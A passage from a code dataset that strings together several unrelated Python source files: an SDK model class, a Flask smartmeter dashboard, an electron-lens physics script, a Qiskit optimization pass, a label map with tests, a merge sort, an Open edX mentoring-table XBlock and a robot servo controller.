+ status)\n self._status = \"outdated_sdk_version\"\n else:\n self._status = status\n\n @property\n def date_due(self) -> datetime:\n \"\"\"\n Gets the date_due of this DevelopmentActivity.\n Due date for completion of the activity. Date time is represented as an ISO-8601 string. For example: yyyy-MM-ddTHH:mm:ss[.mmm]Z\n\n :return: The date_due of this DevelopmentActivity.\n :rtype: datetime\n \"\"\"\n return self._date_due\n\n @date_due.setter\n def date_due(self, date_due: datetime) -> None:\n \"\"\"\n Sets the date_due of this DevelopmentActivity.\n Due date for completion of the activity. Date time is represented as an ISO-8601 string. For example: yyyy-MM-ddTHH:mm:ss[.mmm]Z\n\n :param date_due: The date_due of this DevelopmentActivity.\n :type: datetime\n \"\"\"\n \n\n self._date_due = date_due\n\n @property\n def facilitator(self) -> 'UserReference':\n \"\"\"\n Gets the facilitator of this DevelopmentActivity.\n Facilitator of the activity\n\n :return: The facilitator of this DevelopmentActivity.\n :rtype: UserReference\n \"\"\"\n return self._facilitator\n\n @facilitator.setter\n def facilitator(self, facilitator: 'UserReference') -> None:\n \"\"\"\n Sets the facilitator of this DevelopmentActivity.\n Facilitator of the activity\n\n :param facilitator: The facilitator of this DevelopmentActivity.\n :type: UserReference\n \"\"\"\n \n\n self._facilitator = facilitator\n\n @property\n def attendees(self) -> List['UserReference']:\n \"\"\"\n Gets the attendees of this DevelopmentActivity.\n List of users attending the activity\n\n :return: The attendees of this DevelopmentActivity.\n :rtype: list[UserReference]\n \"\"\"\n return self._attendees\n\n @attendees.setter\n def attendees(self, attendees: List['UserReference']) -> None:\n \"\"\"\n Sets the attendees of this DevelopmentActivity.\n List of users attending the activity\n\n :param attendees: The attendees of this DevelopmentActivity.\n :type: list[UserReference]\n \"\"\"\n \n\n self._attendees = attendees\n\n @property\n def is_overdue(self) -> bool:\n \"\"\"\n Gets the is_overdue of this DevelopmentActivity.\n Indicates if the activity is overdue\n\n :return: The is_overdue of this DevelopmentActivity.\n :rtype: bool\n \"\"\"\n return self._is_overdue\n\n @is_overdue.setter\n def is_overdue(self, is_overdue: bool) -> None:\n \"\"\"\n Sets the is_overdue of this DevelopmentActivity.\n Indicates if the activity is overdue\n\n :param is_overdue: The is_overdue of this DevelopmentActivity.\n :type: bool\n \"\"\"\n \n\n self._is_overdue = is_overdue\n\n def to_dict(self):\n \"\"\"\n Returns the model properties as a dict\n \"\"\"\n result = {}\n\n for attr, _ in iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_json(self):\n \"\"\"\n Returns the model as raw JSON\n \"\"\"\n return json.dumps(sanitize_for_serialization(self.to_dict()))\n\n def to_str(self):\n \"\"\"\n Returns the string representation of the model\n \"\"\"\n return pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"\n For `print` and `pprint`\n \"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"\n Returns true if both objects are equal\n \"\"\"\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"\n Returns true if both objects are not equal\n \"\"\"\n return not self == other\n\n","repo_name":"MyPureCloud/platform-client-sdk-python","sub_path":"build/PureCloudPlatformClientV2/models/development_activity.py","file_name":"development_activity.py","file_ext":"py","file_size_in_byte":16612,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"20"} +{"seq_id":"72642527730","text":"from flask import (\n Blueprint, render_template,\n)\n\nfrom datetime import datetime\nfrom .availability import uptime_smartmeters\nfrom .errors import errors_smartmeter\nimport time\nimport logging\nfrom ..backend.frontend import frontend_smartmeter, JSONValidationError\nfrom .smartmeter import smartermeter_usage\n\nlogger = logging.getLogger('waitress')\n\nbp = Blueprint('dashboard', __name__, url_prefix='/')\n\n@bp.route('', methods=['GET'])\ndef dashboard():\n # Create list of smartmeters\n try:\n smartmeters = frontend_smartmeter()\n except JSONValidationError as e:\n logger.exception(e)\n return render_template('error.html', errors=str(e))\n \n logger.info(f\"Calculating usage information and errors for all smartmeters\")\n\n # Get uptime for all smartmeters\n current_time = int(time.time())\n uptime = uptime_smartmeters(smartmeters, current_time=current_time)\n\n # Get average uptime for last 24 hours\n day_interval = 60*60*24\n last_24_hour_uptime = {key: value for key, value in uptime.items() if key >= current_time-day_interval}\n \n if len(last_24_hour_uptime) > 0:\n average_uptime = sum(last_24_hour_uptime.values()) / len(last_24_hour_uptime)\n else:\n logger.warning(f\"Uptime of last 24 hours did not return anything. The average defaults to 0...\")\n average_uptime = 0\n\n logger.info(f\"Average uptime: {average_uptime}\")\n\n # Get current usage and avg 24 usage\n smartmeters = smartermeter_usage(smartmeters)\n current_usages = []\n for smartmeter in smartmeters:\n if len(smartmeter[\"data\"]) > 1:\n current_usages.append(smartmeter[\"data\"][0][\"usage\"])\n\n if current_usages:\n average_current_usage = sum(current_usages) / len(current_usages) \n else:\n logger.warning(f\"Current usages did not return anything. The average defaults to 0...\")\n average_current_usage = 0\n\n logger.info(f\"Average current usage: {average_current_usage}\")\n\n # Location Data from string\n for smartmeter in smartmeters:\n smartmeter['location'] = [smartmeter[\"latitude\"], smartmeter[\"longitude\"]]\n\n # Define Plot Data \n labels = [datetime.utcfromtimestamp(stamp).strftime('%Y-%m-%d %H:%M:%S') for stamp in uptime.keys()]\n data = list(uptime.values())\n \n # Return the components to the HTML template \n return render_template(\n template_name_or_list='smartmeter/dashboard.html',\n data=data,\n labels=labels,\n current_uptime = round(data[-1]*100, 2) if data else 0,\n average_uptime = round(average_uptime*100, 2),\n smartmeters=smartmeters,\n errors=errors_smartmeter(smartmeters),\n usage=average_current_usage\n )","repo_name":"TINF21CS1/kilowatt_kojote","sub_path":"messstellenbetreiberportal/frontend/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"38074106969","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.optimize import curve_fit\r\n\r\n\"\"\"\r\n [Rempfer_focal_length.py] is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n\r\n [Rempfer_focal_length.py]is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with [Rempfer_focal_length.py]. If not, see .\r\n\r\nSee also [github NanoMi project name] / nanomi.org\r\n\r\n\r\n\r\nThis script is meant to visualize the focal length of an eiznel lens based on Rempfer(1985) with some back of hand numbers\r\n\r\n\r\nGertude F. Rempfer. Unipotential electrostatic lenses: Paraxial proper-\r\nties and aberrations of focal length and focal point. American Institute\r\nof Physics, 1985.\r\n\r\n\r\n\"\"\"\r\n#constants\r\n#Variables named after Rempfer 1985\r\n\r\na = [86.83, 78.36, 69.89,61.42] #mm source to front grating\r\nb = [38.47, 46.97, 55.41,63.88]#mm lens to back grating\r\nd= [804.3,795.83,787.36,778.89] #mm back grating to screen\r\ne1 = 125*(10**-6) #micrometer spacing of front grating \r\ne2 = 125*(10**-6) #micrometer spacing of back grating \r\n # both converted to meters\r\nZ0= 125.3 #mm source to lens \r\n\r\n#a and Z0 are negative since they're measure going right from the object plane\r\n\r\n#test with different powers later\r\n# i assume these will be way bigger\r\nE1 = np.linspace(5,20,5)*(10**-2) # front magnification in meters\r\nE2 = np.linspace(4,20,5)*(10**-2) # back magnification in meters \r\n\r\n\r\n#starting voltage ratio from 0.3-1\r\nVc = 15 #KV\r\nV1 = np.linspace(5,15,5) #KV\r\nV2 = np.linspace(1.5,2,5) #KV\r\n\r\ndef voltage_ratio(Vc,Vl):\r\n Vr = Vl/Vc\r\n return Vr\r\n\r\nV_ratio =voltage_ratio(Vc,V1)\r\nV_ratio_2 = voltage_ratio(Vc,V2)\r\n\r\n# these values should be between 10mm and 2cm\r\n#10mm comes from Sean and Suliat\r\n\r\ndef image_source(E, b, d):\r\n M = E/e2 # back grating magnification\r\n z = b - (d/(M-1))\r\n return z\r\n \r\n \r\n\r\n# function for image magnification m\r\n\r\n#demagnify should give us 0 0:\n new_basis, new_circ = min(new_circs.items(), key=lambda x: len(x[1]))\n\n # do we even have calibrations?\n has_cals_p = dag.calibrations is not None and len(dag.calibrations) > 0\n # is this run in the target set of this particular decomposer and also uncalibrated?\n rewriteable_and_in_basis_p = all(\n g.name in new_basis and (not has_cals_p or not dag.has_calibration_for(g))\n for g in run\n )\n # does this run have uncalibrated gates?\n uncalibrated_p = not has_cals_p or any(not dag.has_calibration_for(g) for g in run)\n # does this run have gates not in the image of ._decomposers _and_ uncalibrated?\n uncalibrated_and_not_basis_p = any(\n g.name not in self._target_basis\n and (not has_cals_p or not dag.has_calibration_for(g))\n for g in run\n )\n\n if rewriteable_and_in_basis_p and len(run) < len(new_circ):\n # NOTE: This is short-circuited on calibrated gates, which we're timid about\n # reducing.\n warnings.warn(\n f\"Resynthesized {run} and got {new_circ}, \"\n f\"but the original was native and the new value is longer. This \"\n f\"indicates an efficiency bug in synthesis. Please report it by \"\n f\"opening an issue here: \"\n f\"https://github.com/Qiskit/qiskit-terra/issues/new/choose\",\n stacklevel=2,\n )\n # if we're outside of the basis set, we're obligated to logically decompose.\n # if we're outside of the set of gates for which we have physical definitions,\n # then we _try_ to decompose, using the results if we see improvement.\n # NOTE: Here we use circuit length as a weak proxy for \"improvement\"; in reality,\n # we care about something more like fidelity at runtime, which would mean,\n # e.g., a preference for `RZGate`s over `RXGate`s. In fact, users sometimes\n # express a preference for a \"canonical form\" of a circuit, which may come in\n # the form of some parameter values, also not visible at the level of circuit\n # length. Since we don't have a framework for the caller to programmatically\n # express what they want here, we include some special casing for particular\n # gates which we've promised to normalize --- but this is fragile and should\n # ultimately be done away with.\n if (\n uncalibrated_and_not_basis_p\n or (uncalibrated_p and len(run) > len(new_circ))\n or isinstance(run[0].op, U3Gate)\n ):\n new_dag = circuit_to_dag(new_circ)\n dag.substitute_node_with_dag(run[0], new_dag)\n # Delete the other nodes in the run\n for current_node in run[1:]:\n dag.remove_op_node(current_node)\n return dag\n","repo_name":"peiyi1/nassc_code","sub_path":"qiskit-terra/qiskit/transpiler/passes/optimization/optimize_1q_decomposition.py","file_name":"optimize_1q_decomposition.py","file_ext":"py","file_size_in_byte":6756,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"2"} +{"seq_id":"11013925535","text":"from interfaces.automaton import Label\n\n\nclass LabelsMap:\n def __init__(self, value_by_label:dict=None):\n if value_by_label is None:\n value_by_label = dict()\n self._value_by_label = list(value_by_label.items())\n\n def __getitem__(self, key:Label):\n if not isinstance(key, Label):\n raise TypeError(key)\n\n indices = [v for (l, v) in self._value_by_label\n if set(l.items()).issubset(set(key.items()))]\n\n if len(indices) == 0:\n raise KeyError(key)\n\n assert len(indices) == 1, 'return value is not unique: %s: %s' % (str(key), str(indices))\n return indices[0]\n\n def __setitem__(self, key:Label, value):\n if not isinstance(key, Label):\n raise TypeError(key)\n\n assert key not in self\n self._value_by_label.append((key, value))\n\n def items(self):\n return list(self._value_by_label)\n\n def __iter__(self):\n print()\n return iter([l for (l, v) in self._value_by_label])\n\n def __contains__(self, item):\n try:\n self[item]\n return True\n except (KeyError, TypeError):\n return False\n\n def __str__(self):\n return str(self._value_by_label)\n\n __repr__ = __str__\n\n################################################################################\n\nimport unittest\n\n\nclass Test(unittest.TestCase):\n def test_map_getitem(self):\n label_map = LabelsMap()\n\n label_map[Label({'a': False, 'b': False})] = True\n\n assert Label({'a': False, 'b': False}) in label_map\n assert label_map[Label({'a': False, 'b': False})] == True\n\n assert Label({'a': False, 'b': False, 'c': False}) in label_map\n assert label_map[Label({'a': False, 'b': False, 'c': False})] == True\n\n assert Label({'a': True, 'b': False}) not in label_map\n assert Label({'a': True}) not in label_map\n\n def test_map_getitem2(self):\n label_map = LabelsMap()\n label_map[Label()] = True\n assert Label({'a': False, 'b': False}) in label_map\n\n def test_map_setitem(self):\n map = LabelsMap()\n\n map[Label({'a': True})] = True\n assert map[Label({'a': True})] == True\n\n # map[Label({'a':True})] = False\n # assert map[Label({'a':True})] == False\n\n assert Label({'a': True, 'c': True}) in map\n\n assert Label({}) not in map\n\n# map[Label({})] = True\n# assert Label({}) in map\n# assert map[Label({'c':True, 'd':False})] == True\n\n#\n# def test_map_delitem(self):\n# map = SetKeyMap()\n# map[Label({'a':True})] = True\n# assert Label({'a':True}) in map\n#\n# del map[Label({'a':True})]\n# assert Label({'a':True}) not in map\n#\n# map[Label({'a':True})] = True\n# assert Label({}) in map\n# del map[Label({})]\n# assert Label({}) not in map\n#\n","repo_name":"5nizza/party-elli","sub_path":"interfaces/labels_map.py","file_name":"labels_map.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"2"} +{"seq_id":"38262598032","text":"import errno\nimport json\n\nfrom django.contrib.auth.models import User\nfrom web_fragments.fragment import Fragment\nfrom xblock.core import XBlock\nfrom xblock.exceptions import JsonHandlerError\nfrom xblock.fields import Boolean, Scope, String\nfrom xblockutils.resources import ResourceLoader\nfrom xblockutils.studio_editable import (StudioContainerXBlockMixin,\n StudioEditableXBlockMixin,\n XBlockWithPreviewMixin)\n\nfrom problem_builder.answer import AnswerRecapBlock\nfrom problem_builder.dashboard import ExportMixin\nfrom problem_builder.models import Share\nfrom problem_builder.sub_api import SubmittingXBlockMixin\n\n# Globals ###########################################################\n\n\nloader = ResourceLoader(__name__)\n\n\n# Make '_' a no-op so we can scrape strings\ndef _(text):\n return text\n\n# Classes ###########################################################\n\n\n@XBlock.wants(\"user\")\n@XBlock.wants(\"submissions\")\nclass MentoringTableBlock(\n StudioEditableXBlockMixin, SubmittingXBlockMixin, StudioContainerXBlockMixin, ExportMixin, XBlock,\n XBlockWithPreviewMixin\n):\n \"\"\"\n Table-type display of information from mentoring blocks\n\n Used to present summary of information entered by the students in mentoring blocks.\n Supports different types of formatting through the `type` parameter.\n \"\"\"\n CATEGORY = 'pb-table'\n STUDIO_LABEL = _(\"Answer Recap Table\")\n\n display_name = String(\n display_name=_(\"Display name\"),\n help=_(\"Title of the table\"),\n default=_(\"Answers Table\"),\n scope=Scope.settings\n )\n type = String(\n display_name=_(\"Special Mode\"),\n help=_(\"Variant of the table that will display a specific background image.\"),\n scope=Scope.content,\n default='',\n values=[\n {\"display_name\": \"Normal\", \"value\": \"\"},\n {\"display_name\": \"Immunity Map Assumptions\", \"value\": \"immunity-map-assumptions\"},\n {\"display_name\": \"Immunity Map\", \"value\": \"immunity-map\"},\n ],\n )\n editable_fields = (\"type\", \"allow_download\")\n allow_download = Boolean(\n display_name=_(\"Allow Download\"),\n help=_(\"Allow students to download a copy of the table for themselves.\"),\n default=False,\n scope=Scope.content\n )\n allow_sharing = Boolean(\n display_name=_(\"Allow Sharing\"),\n help=_(\"Allow students to share their results with other students.\"),\n default=True,\n scope=Scope.content\n )\n has_children = True\n\n css_path = 'public/css/mentoring-table.css'\n js_path = 'public/js/review_blocks.js'\n\n @XBlock.json_handler\n def table_render(self, data, suffix=''):\n context = {}\n header_values = []\n content_values = []\n target_username = data.get('target_username')\n try:\n if target_username and target_username != self.current_user_key:\n share = Share.objects.get(\n shared_by__username=target_username, shared_with__username=self.current_user_key,\n block_id=self.block_id,\n )\n context['student_submissions_key'] = share.submission_uid\n except Share.DoesNotExist as err:\n raise JsonHandlerError(403, _(\"You are not permitted to view this student's table.\")) from err\n\n for child_id in self.children:\n child = self.runtime.get_block(child_id)\n # Child should be an instance of MentoringTableColumn\n header = child.header\n # Make sure /jump_to_id/ URLs are expanded correctly\n if getattr(self.runtime, 'replace_jump_to_id_urls', None):\n header = self.runtime.replace_jump_to_id_urls(header)\n header_values.append(header)\n child_frag = child.render('mentoring_view', context)\n content_values.append(child_frag.content)\n context['header_values'] = header_values if any(header_values) else None\n context['content_values'] = content_values\n html = loader.render_django_template('templates/html/mentoring-table.html', context)\n return {'content': html}\n\n @property\n def current_user_key(self):\n user = self.runtime.service(self, 'user').get_current_user()\n # We may be in the SDK, in which case the username may not really be available.\n return user.opt_attrs.get('edx-platform.username', 'username')\n\n @XBlock.json_handler\n def get_shared_list(self, data, suffix=''):\n context = {'shared_with': Share.objects.filter(\n shared_by__username=self.current_user_key,\n block_id=self.block_id,\n ).values_list('shared_with__username', flat=True)\n }\n return {\n 'content': loader.render_django_template('templates/html/mentoring-table-shared-list.html', context)\n }\n\n @XBlock.json_handler\n def clear_notification(self, data, suffix=''):\n \"\"\"\n Clear out notifications for users who shared with this user on the last page load.\n Since more users might share with them while they're viewing the page, only remove the ones\n that they had at the time.\n \"\"\"\n usernames = data.get('usernames')\n if not usernames:\n raise JsonHandlerError(400, \"No usernames sent.\")\n try:\n isinstance(usernames, list)\n except ValueError as err:\n raise JsonHandlerError(400, \"Usernames must be a list.\") from err\n Share.objects.filter(\n shared_with__username=self.current_user_key,\n shared_by__username__in=usernames,\n block_id=self.block_id,\n ).update(\n notified=True\n )\n\n @property\n def block_id(self):\n usage_id = self.scope_ids.usage_id\n if isinstance(usage_id, str):\n return usage_id\n try:\n return str(usage_id.replace(branch=None, version_guid=None))\n except AttributeError:\n pass\n return str(usage_id)\n\n @XBlock.json_handler\n def share_results(self, data, suffix=''):\n target_usernames = data.get('usernames')\n target_usernames = [username.strip().lower() for username in target_usernames if username.strip()]\n current_user = User.objects.get(username=self.current_user_key)\n\n failed_users = []\n if not target_usernames:\n raise JsonHandlerError(400, _('Usernames not provided.'))\n for target_username in target_usernames:\n try:\n target_user = User.objects.get(username=target_username)\n except User.DoesNotExist:\n failed_users.append(target_username)\n continue\n if current_user == target_user:\n continue\n try:\n Share.objects.get(shared_by=current_user, shared_with=target_user, block_id=self.block_id)\n except Share.DoesNotExist:\n Share(\n shared_by=current_user, submission_uid=self.runtime.anonymous_student_id, shared_with=target_user,\n block_id=self.block_id,\n ).save()\n\n if failed_users:\n raise JsonHandlerError(\n 400,\n _('Some users could not be shared with. Please check these usernames: {}').format(\n ', '.join(failed_users)\n )\n )\n return {}\n\n @XBlock.json_handler\n def remove_share(self, data, suffix=''):\n target_username = data.get('username')\n if not target_username:\n raise JsonHandlerError(400, _('Username not provided.'))\n Share.objects.filter(\n shared_by__username=self.current_user_key,\n shared_with__username=target_username,\n block_id=self.block_id,\n ).delete()\n return {'message': _('Removed successfully.')}\n\n def student_view(self, context):\n context = context.copy() if context else {}\n fragment = Fragment()\n\n for child_id in self.children:\n child = self.runtime.get_block(child_id)\n # Child should be an instance of MentoringTableColumn\n child_frag = child.render('mentoring_view', context)\n fragment.add_fragment_resources(child_frag)\n\n context['allow_sharing'] = self.allow_sharing\n context['allow_download'] = self.allow_download\n user_service = self.runtime.service(self, 'user')\n if user_service:\n context['view_options'] = Share.objects.filter(\n shared_with__username=self.current_user_key,\n block_id=self.block_id,\n ).values_list('shared_by__username', flat=True)\n context['username'] = self.current_user_key\n share_notifications = Share.objects.filter(\n shared_with__username=self.current_user_key,\n notified=False, block_id=self.block_id,\n ).values_list('shared_by__username', flat=True)\n context['share_notifications'] = share_notifications and json.dumps(list(share_notifications))\n\n if self.type:\n # Load an optional background image:\n context['bg_image_url'] = self.runtime.local_resource_url(self, f'public/img/{self.type}-bg.png')\n # Load an optional description for the background image, for accessibility\n try:\n context['bg_image_description'] = loader.load_unicode(f'static/text/table-{self.type}.txt')\n except OSError as e:\n if e.errno == errno.ENOENT:\n pass\n else:\n raise\n\n report_template = loader.render_django_template('templates/html/mentoring-table-report.html', {\n 'title': self.display_name,\n 'css': loader.load_unicode(AnswerRecapBlock.css_path) + loader.load_unicode(self.css_path),\n 'student_name': self._get_user_full_name(),\n 'course_name': self._get_course_name(),\n })\n\n fragment.add_content(loader.render_django_template('templates/html/mentoring-table-container.html', context))\n fragment.add_css_url(self.runtime.local_resource_url(self, 'public/css/mentoring-table.css'))\n fragment.add_javascript_url(self.runtime.local_resource_url(self, 'public/js/vendor/jquery-shorten.js'))\n fragment.add_javascript_url(self.runtime.local_resource_url(self, self.js_path))\n fragment.initialize_js(\n 'MentoringTableBlock', {\n 'reportContentSelector': '.mentoring-table-container',\n 'reportTemplate': report_template,\n }\n )\n\n return fragment\n\n def mentoring_view(self, context):\n # Allow to render within mentoring blocks, or outside\n return self.student_view(context)\n\n def author_edit_view(self, context):\n \"\"\"\n Add some HTML to the author view that allows authors to add choices and tips.\n \"\"\"\n fragment = super().author_edit_view(context)\n fragment.add_content(loader.render_django_template('templates/html/mentoring-table-add-button.html', {}))\n # Share styles with the questionnaire edit CSS:\n fragment.add_css_url(self.runtime.local_resource_url(self, 'public/css/questionnaire-edit.css'))\n return fragment\n\n\nclass MentoringTableColumn(StudioEditableXBlockMixin, StudioContainerXBlockMixin, XBlock):\n \"\"\"\n A column in a mentoring table. Has a header and can contain HTML and AnswerRecapBlocks.\n \"\"\"\n display_name = String(display_name=_(\"Display Name\"), default=\"Column\")\n header = String(\n display_name=_(\"Header\"),\n help=_(\"Header of this column\"),\n default=\"\",\n scope=Scope.content,\n multiline_editor=\"html\",\n )\n editable_fields = (\"header\", )\n has_children = True\n\n def mentoring_view(self, context=None):\n \"\"\" Render this XBlock within a mentoring block. \"\"\"\n context = context.copy() if context else {}\n fragment = Fragment()\n for child_id in self.children:\n child = self.runtime.get_block(child_id)\n if child.scope_ids.block_type == \"html\":\n # HTML block current doesn't support \"mentoring_view\" and if \"student_view\" is used, it gets wrapped\n # with HTML we don't want. So just grab its HTML directly.\n child_frag = Fragment(child.data)\n else:\n child_frag = child.render('mentoring_view', context)\n fragment.add_content(child_frag.content)\n fragment.add_fragment_resources(child_frag)\n return fragment\n\n def author_preview_view(self, context):\n return self.mentoring_view(context)\n\n def student_view(self, context=None):\n \"\"\" Normal view of this XBlock, identical to mentoring_view \"\"\"\n return self.mentoring_view(context)\n\n def author_edit_view(self, context):\n \"\"\"\n Add some HTML to the author view that allows authors to add choices and tips.\n \"\"\"\n fragment = super().author_edit_view(context)\n fragment.content = f\"
    {self.header}
    \" + fragment.content\n fragment.add_content(loader.render_django_template('templates/html/mentoring-column-add-button.html', {}))\n # Share styles with the questionnaire edit CSS:\n fragment.add_css_url(self.runtime.local_resource_url(self, 'public/css/questionnaire-edit.css'))\n return fragment\n","repo_name":"open-craft/problem-builder","sub_path":"problem_builder/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":13545,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"2"} +{"seq_id":"37170576394","text":"import sys\nsys.setrecursionlimit(10**8)\n\ndef merge(l, n1, r, n2, a, n):\n i = j = k = 0\n while i < n1 and j < n2:\n if l[i] > r[j]:\n a[k] = l[i]\n i += 1\n else:\n a[k] = r[j]\n j += 1\n k += 1\n while i < n1:\n a[k] = l[i]\n i += 1\n k += 1\n\n while j < n2:\n a[k] = r[j]\n j += 1\n k += 1\n\n\ndef mergeShort(a, n):\n if n > 1:\n n1 = n // 2\n n2 = n - n1\n l = a[:n1]\n r = a[n1:]\n mergeShort(l, n1)\n mergeShort(r, n2)\n merge(l, n1, r, n2, a, n)\n return a\n\n\nm,n,k = input().split()\nlstA = list(map(int,input().split()))\nlstB = list(map(int,input().split()))\nlstC = lstA + lstB\nlenght = len(lstC)\nans = mergeShort(lstC,lenght)\nprint(ans[-int(k)-1])","repo_name":"Thanhtinh06/baitapbigo","sub_path":"BaiFinal/Bai1.py","file_name":"Bai1.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"25234844737","text":"import time\nimport os\nimport signal\nimport sys\nfrom threading import Thread\nfrom Maestro import Controller\nimport tkinter as tk\n\n#flags for driving\ngo_forward = False\ngo_backward = False\n\nglobal forward_speed\nforward_speed = 4500\n\nglobal backward_speed\nbackward_speed = 7500\n\nglobal head_angle\nhead_angle = 6000\n\nglobal neck_angle\nneck_angle = 6000\n\n#driving forward speeds\none_forward = 5300\ntwo_forward = 4800\nthree_forward = 3000\n\n#driving backward speeds\none_backward = 6700\ntwo_backward = 7200\nthree_backward = 8000\n\n#neutral speed\nneutral = 6000\n\n#target numbers\nbody_target = 0\ndrive_target = 1\nturn_target = 2\nneck_target = 3\nhead_target = 4\n\nclass Move:\n def __init__(self):\n self.servo = Controller()\n #self.root = tk.Tk()\n os.system('xset r off')\n #set targets to neutral\n for i in range(17):\n self.servo.setTarget(i,neutral)\n self.servo.setSpeed(i,0)\n self.servo.setAccel(i,60)\n\n self.servo.setAccel(drive_target, 6)\n\n #move head up\n def w_pressed(self):\n global head_angle\n if head_angle < 9000:\n head_angle += 1500\n self.servo.setTarget(head_target, head_angle)\n #move head down\n def s_pressed(self):\n global head_angle\n if head_angle > 3000:\n head_angle -= 1500\n self.servo.setTarget(head_target, head_angle)\n #move neck left\n def a_pressed(self):\n global neck_angle\n if neck_angle < 9000:\n neck_angle += 1500\n self.servo.setTarget(neck_target, neck_angle)\n #move neck right\n def d_pressed(self):\n global neck_angle\n if neck_angle > 3000:\n neck_angle -= 1500\n self.servo.setTarget(neck_target, neck_angle)\n #body turn left\n def q_pressed(self):\n self.servo.setTarget(body_target,8600)\n def q_released(self):\n self.servo.setTarget(body_target,neutral)\n #body turn right\n def e_pressed(self):\n self.servo.setTarget(body_target,3400)\n def e_released(self):\n self.servo.setTarget(body_target,neutral)\n #drive forward\n def one_forward(self, seconds):\n self.servo.setTarget(drive_target,one_forward)\n time.sleep(seconds)\n self.servo.setTarget(drive_target,neutral)\n #drive backwards\n def one_backward(self, seconds):\n self.servo.setTarget(drive_target,one_backward)\n time.sleep(seconds)\n self.servo.setTarget(drive_target,neutral)\n #turn left\n def turn_left(self, seconds):\n self.servo.setTarget(turn_target,7000)\n time.sleep(seconds)\n self.servo.setTarget(turn_target,neutral)\n #turn right\n def turn_right(self, seconds):\n self.servo.setTarget(turn_target,5000)\n time.sleep(seconds)\n self.servo.setTarget(turn_target,neutral)\n\n def fight(self):\n self.servo.setTarget(head_target, head_angle)\n self.servo.setTarget(6, 3000)\n self.servo.setTarget(12, 3000)\n time.sleep(.5)\n self.servo.setTarget(head_target, neutral)\n self.servo.setTarget(head_target, 3000)\n self.servo.setTarget(6, 8000)\n self.servo.setTarget(12, 8000)\n time.sleep(.5)\n self.servo.setTarget(head_target, neutral)\n self.servo.setTarget(head_target, head_angle)\n self.servo.setTarget(6, 3000)\n self.servo.setTarget(12, 3000)\n time.sleep(.5)\n self.servo.setTarget(head_target, neutral)\n self.servo.setTarget(head_target, 3000)\n self.servo.setTarget(6, 8000)\n self.servo.setTarget(12, 8000)\n time.sleep(.5)\n self.servo.setTarget(head_target, neutral)\n self.servo.setTarget(head_target, head_angle)\n self.servo.setTarget(6, neutral)\n self.servo.setTarget(12, neutral)\n\n def recharge(self):\n self.servo.setTarget(neck_target, head_angle)\n self.servo.setTarget(9, 3000)\n self.servo.setTarget(16, 3000)\n time.sleep(.5)\n self.servo.setTarget(neck_target, neutral)\n self.servo.setTarget(neck_target, 3000)\n self.servo.setTarget(9, 8000)\n self.servo.setTarget(16, 8000)\n time.sleep(.5)\n self.servo.setTarget(neck_target, neutral)\n self.servo.setTarget(neck_target, head_angle)\n self.servo.setTarget(9, 3000)\n self.servo.setTarget(16, 3000)\n time.sleep(.5)\n self.servo.setTarget(neck_target, neutral)\n self.servo.setTarget(neck_target, 3000)\n self.servo.setTarget(9, 8000)\n self.servo.setTarget(16, 8000)\n time.sleep(.5)\n self.servo.setTarget(neck_target, neutral)\n self.servo.setTarget(neck_target, head_angle)\n self.servo.setTarget(9, neutral)\n self.servo.setTarget(16, neutral)\n\n\n #set all servos/motors to neutral\n def space_pressed(self):\n for i in range(5):\n self.servo.setTarget(i,neutral)\n def executeMotion(self, mid, direction, seconds):\n #HEAD\n if mid == 1:\n #if up\n if direction == 1:\n #move head up\n self.w_pressed()\n else:\n #move head down\n self.s_pressed()\n #NECK\n elif mid == 2:\n if direction == 1:\n #neck turn left\n self.a_pressed()\n else:\n #neck turn right\n self.d_pressed()\n #BODY\n elif mid == 3:\n if direction ==1:\n #body turn left\n self.q_pressed()\n else:\n #body turn right\n self.e_pressed()\n #DRIVE\n elif mid == 4:\n if direction == 1:\n #drive forward\n self.one_forward(seconds)\n else:\n #drive backward\n self.one_backward(seconds)\n #TURN\n elif mid == 5:\n if direction == 1:\n self.turn_left(seconds)\n else:\n self.turn_right(seconds)\n #PAUSE\n elif mid == 6:\n time.sleep(seconds)\n\n\n\n# root.bind('', key_pressed)\n# root.bind('', key_released)\n# root.mainloop()\n\n\n#head looks up\n# def w_pressed():turn\n# servo.setTarget(head_target,9000)\n# def w_released():\n# servo.setTarget(head_target,neutral)\n#\n# #head looks down\n# def s_pressed():\n# servo.setTarget(head_target,3000)\n# def s_released():\n# servo.setTarget(head_target,neutral)\n#\n# #neck turn left\n# def a_pressed():\n# servo.setTarget(neck_target,8900)\n# def a_released():\n# servo.setTarget(neck_target,neutral)\n# #neck turn right\n# def d_pressed():\n# servo.setTarget(neck_target,3100)\n# def d_released():\n# servo.setTarget(neck_target,neutral)\n\n# #go forwards -- driving\n# def up_pressed():\n# go_forward = True\n# servo.setTarget(drive_target,forward_speed)\n# def 